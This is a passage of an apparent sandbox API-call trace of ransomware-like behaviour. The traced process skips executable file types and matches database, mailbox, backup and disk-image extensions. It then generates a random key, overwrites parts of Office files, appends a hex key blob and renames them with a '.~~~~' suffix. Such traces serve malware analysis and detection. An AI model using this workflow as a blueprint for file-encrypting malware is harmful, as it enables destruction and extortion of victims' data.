	[0136.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".lnk") returned 0x0
	[0136.753] lstrlenW (lpString=".msp") returned 4
	[0136.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".msp") returned 0x0
	[0136.753] lstrlenW (lpString=".pif") returned 4
	[0136.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".pif") returned 0x0
	[0136.753] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0136.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.756] lstrlenW (lpString=".sqb") returned 4
	[0136.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".sqb") returned 0x0
	[0136.756] lstrlenW (lpString=".ost") returned 4
	[0136.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".ost") returned 0x0
	[0136.756] lstrlenW (lpString=".txt") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".txt") returned 0x0
	[0136.757] lstrlenW (lpString=".mdt") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".mdt") returned 0x0
	[0136.757] lstrlenW (lpString=".BDB") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".BDB") returned 0x0
	[0136.757] lstrlenW (lpString=".eql") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".eql") returned 0x0
	[0136.757] lstrlenW (lpString=".DBF") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DBF") returned 0x0
	[0136.757] lstrlenW (lpString=".EQL") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".EQL") returned 0x0
	[0136.757] lstrlenW (lpString=".FDB") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".FDB") returned 0x0
	[0136.757] lstrlenW (lpString=".EDB") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".EDB") returned 0x0
	[0136.757] lstrlenW (lpString=".DACPAC") returned 7
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0136.757] lstrlenW (lpString=".VHD") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".VHD") returned 0x0
	[0136.757] lstrlenW (lpString=".DBV") returned 4
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DBV") returned 0x0
	[0136.757] lstrlenW (lpString=".dacpac") returned 7
	[0136.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0136.757] lstrlenW (lpString=".sdf") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".sdf") returned 0x0
	[0136.758] lstrlenW (lpString=".accdb") returned 6
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".accdb") returned 0x0
	[0136.758] lstrlenW (lpString=".DBX") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DBX") returned 0x0
	[0136.758] lstrlenW (lpString=".MDT") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".MDT") returned 0x0
	[0136.758] lstrlenW (lpString=".SQB") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".SQB") returned 0x0
	[0136.758] lstrlenW (lpString=".vhd") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".vhd") returned 0x0
	[0136.758] lstrlenW (lpString=".bac") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".bac") returned 0x0
	[0136.758] lstrlenW (lpString=".mdf") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".mdf") returned 0x0
	[0136.758] lstrlenW (lpString=".BAK") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".BAK") returned 0x0
	[0136.758] lstrlenW (lpString=".BAC") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".BAC") returned 0x0
	[0136.758] lstrlenW (lpString=".dbs") returned 4
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dbs") returned 0x0
	[0136.758] lstrlenW (lpString=".vhdx") returned 5
	[0136.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0136.758] lstrlenW (lpString=".NDF") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".NDF") returned 0x0
	[0136.759] lstrlenW (lpString=".dat") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dat") returned 0x0
	[0136.759] lstrlenW (lpString=".DBS") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DBS") returned 0x0
	[0136.759] lstrlenW (lpString=".CKP") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".CKP") returned 0x0
	[0136.759] lstrlenW (lpString=".edb") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".edb") returned 0x0
	[0136.759] lstrlenW (lpString=".PST") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".PST") returned 0x0
	[0136.759] lstrlenW (lpString=".dbf") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dbf") returned 0x0
	[0136.759] lstrlenW (lpString=".SQL") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".SQL") returned 0x0
	[0136.759] lstrlenW (lpString=".pst") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".pst") returned 0x0
	[0136.759] lstrlenW (lpString=".dbv") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dbv") returned 0x0
	[0136.759] lstrlenW (lpString=".SDF") returned 4
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".SDF") returned 0x0
	[0136.759] lstrlenW (lpString=".dtxs") returned 5
	[0136.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0136.760] lstrlenW (lpString=".db3") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".db3") returned 0x0
	[0136.760] lstrlenW (lpString=".OST") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".OST") returned 0x0
	[0136.760] lstrlenW (lpString=".dbx") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dbx") returned 0x0
	[0136.760] lstrlenW (lpString=".DB3") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DB3") returned 0x0
	[0136.760] lstrlenW (lpString=".DAT") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DAT") returned 0x0
	[0136.760] lstrlenW (lpString=".VHDX") returned 5
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0136.760] lstrlenW (lpString=".ndf") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".ndf") returned 0x0
	[0136.760] lstrlenW (lpString=".DB") returned 3
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DB") returned 0x0
	[0136.760] lstrlenW (lpString=".sql") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".sql") returned 0x0
	[0136.760] lstrlenW (lpString=".MYD") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".MYD") returned 0x0
	[0136.760] lstrlenW (lpString=".DBT") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DBT") returned 0x0
	[0136.760] lstrlenW (lpString=".ACCDB") returned 6
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0136.760] lstrlenW (lpString=".fdb") returned 4
	[0136.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".fdb") returned 0x0
	[0136.760] lstrlenW (lpString=".bak") returned 4
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".bak") returned 0x0
	[0136.761] lstrlenW (lpString=".myd") returned 4
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".myd") returned 0x0
	[0136.761] lstrlenW (lpString=".DTXS") returned 5
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0136.761] lstrlenW (lpString=".ckp") returned 4
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".ckp") returned 0x0
	[0136.761] lstrlenW (lpString=".dbt") returned 4
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dbt") returned 0x0
	[0136.761] lstrlenW (lpString=".db") returned 3
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".db") returned 0x0
	[0136.761] lstrlenW (lpString=".TXT") returned 4
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".TXT") returned 0x0
	[0136.761] lstrlenW (lpString=".MDF") returned 4
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".MDF") returned 0x0
	[0136.761] lstrlenW (lpString=".bdb") returned 4
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".bdb") returned 0x0
	[0136.761] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.762] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394e38) returned 1
	[0136.763] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.763] CryptReleaseContext (hProv=0x394e38, dwFlags=0x0) returned 1
	[0136.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0136.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0136.763] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25675315727) returned 1
	[0136.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbaf61710, dwHighDateTime=0x1d60e1e)) 
	[0136.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0136.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0136.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0136.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4dd0
	[0136.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4dd0 | out: hHeap=0x300000) returned 1
	[0136.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.764] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0136.764] GetLastError () returned 0x0
	[0136.764] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0136.764] GetLastError () returned 0x0
	[0136.874] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.874] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.877] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.877] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.033] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.033] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.033] CloseHandle (hObject=0x108) returned 1
	[0137.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0137.034] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.~~~~")) returned 1
	[0137.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c51b0 | out: hHeap=0x300000) returned 1
	[0137.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.038] GetLastError () returned 0x0
	[0137.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0137.040] lstrlenW (lpString=".cmd") returned 4
	[0137.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0137.040] lstrlenW (lpString=".dll") returned 4
	[0137.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0137.042] lstrlenW (lpString=".bat") returned 4
	[0137.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0137.042] lstrlenW (lpString=".cpl") returned 4
	[0137.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0137.042] lstrlenW (lpString=".sys") returned 4
	[0137.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0137.042] lstrlenW (lpString=".msc") returned 4
	[0137.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0137.042] lstrlenW (lpString=".com") returned 4
	[0137.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".com") returned 0x0
	[0137.043] lstrlenW (lpString=".lnk") returned 4
	[0137.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0137.043] lstrlenW (lpString=".msp") returned 4
	[0137.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0137.043] lstrlenW (lpString=".pif") returned 4
	[0137.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0137.043] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0137.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.048] lstrlenW (lpString=".sqb") returned 4
	[0137.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0137.048] lstrlenW (lpString=".ost") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0137.049] lstrlenW (lpString=".txt") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0137.049] lstrlenW (lpString=".mdt") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0137.049] lstrlenW (lpString=".BDB") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0137.049] lstrlenW (lpString=".eql") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0137.049] lstrlenW (lpString=".DBF") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0137.049] lstrlenW (lpString=".EQL") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0137.049] lstrlenW (lpString=".FDB") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0137.049] lstrlenW (lpString=".EDB") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0137.049] lstrlenW (lpString=".DACPAC") returned 7
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0137.049] lstrlenW (lpString=".VHD") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0137.049] lstrlenW (lpString=".DBV") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0137.049] lstrlenW (lpString=".dacpac") returned 7
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0137.049] lstrlenW (lpString=".sdf") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0137.049] lstrlenW (lpString=".accdb") returned 6
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0137.049] lstrlenW (lpString=".DBX") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0137.049] lstrlenW (lpString=".MDT") returned 4
	[0137.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0137.050] lstrlenW (lpString=".SQB") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0137.050] lstrlenW (lpString=".vhd") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0137.050] lstrlenW (lpString=".bac") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0137.050] lstrlenW (lpString=".mdf") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0137.050] lstrlenW (lpString=".BAK") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0137.050] lstrlenW (lpString=".BAC") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0137.050] lstrlenW (lpString=".dbs") returned 4
